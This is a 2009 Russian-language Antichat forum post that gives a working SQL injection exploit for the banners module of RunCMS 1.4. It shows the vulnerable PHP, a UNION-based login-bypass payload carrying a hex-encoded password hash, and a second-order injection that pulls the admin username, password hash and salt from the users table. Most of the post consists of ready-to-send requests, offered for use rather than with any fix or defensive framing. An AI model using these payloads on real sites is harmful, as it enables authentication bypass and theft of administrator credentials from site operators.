Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

25.02.2009, 07:03
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
banners - дефолтный модуль RunCMS
Версия: 1.4
SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Зависимость: Включенный модуль banners
Вначале обойдем авторизацию
Запрос [POST \ GET]: login=q' union select 1,2,3,0x393030313530393833636432346662306436393633 6637643238653137663732#&pass=abc
где 0x393030313530393833636432346662306436393633663764 3238653137663732 - хэш от abc, переведенный в число.
Уязвимый кусок кода:
PHP код:
switch ($_REQUEST['op']) {
case "bannerstats":
bannerstats($_POST['login'], $_POST['pass']);
break;
..........
function bannerstats($login, $pass) {
global $db, $myts, $xoopsConfig, $meta, $xoopsModule;
$sqlpass = md5($pass);
$result = $db->query("SELECT cid, name, login, passwd FROM ".$db->prefix("banner_clients")." WHERE login='$login' AND passwd='$sqlpass'");
list($cid, $name, $login, $passwd) = $db->fetch_row($result);
if ($sqlpass == $passwd) {
Едем дальше, получим пароль админа:
Уязвимый кусок кода:
PHP код:
$result = $db->query("SELECT bid, imptotal, impmade, clicks, datestart FROM ".$db->prefix("banner_items")." WHERE cid=$cid");
// $cid - один из столбцов с предыдущего скуль-запроса
while ( list($bid, $imptotal, $impmade, $clicks, $date) = $db->fetch_row($result) ) {
if ( ($impmade == 0) || ($clicks == 0) ) {
$percent = 0;
} else {
$percent = round(100 * ($clicks/$impmade), 2);
}
if ( $imptotal == 0 ) {
$left = _BN_UNLIMITED;
} else {
$left = ($imptotal-$impmade);
}
echo "
<td class='center'>$bid</td>
Получаем иньекции для второго запроса в мускул:
-1 union select uname,0,0,0,0 from runcms_users limit 0,1
-1 union select pass,0,0,0,0 from runcms_users limit 0,1
-1 union select pwdsalt,0,0,0,0 from runcms_users limit 0,1
Переведем в число:
uname: 0x2d3120756e696f6e2073656c65637420756e616d652c302c 302c302c302066726f6d2072756e636d735f7573657273206c 696d697420302c31
pass: 0x2d3120756e696f6e2073656c65637420706173732c302c30 2c302c302066726f6d2072756e636d735f7573657273206c69 6d697420302c31
pwdsalt: 0x2d3120756e696f6e2073656c6563742070776473616c742c 302c302c302c302066726f6d2072756e636d735f7573657273 206c696d697420302c31
Итого общий запрос:
login=q' union select 0x2d3120756e696f6e2073656c65637420756e616d652c302c 302c302c302066726f6d2072756e636d735f7573657273206c 696d697420302c31,2,3,0x393030313530393833636432346 6623064363936336637643238653137663732#&pass=abc
Последний раз редактировалось BlackSun; 25.02.2009 в 07:35..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|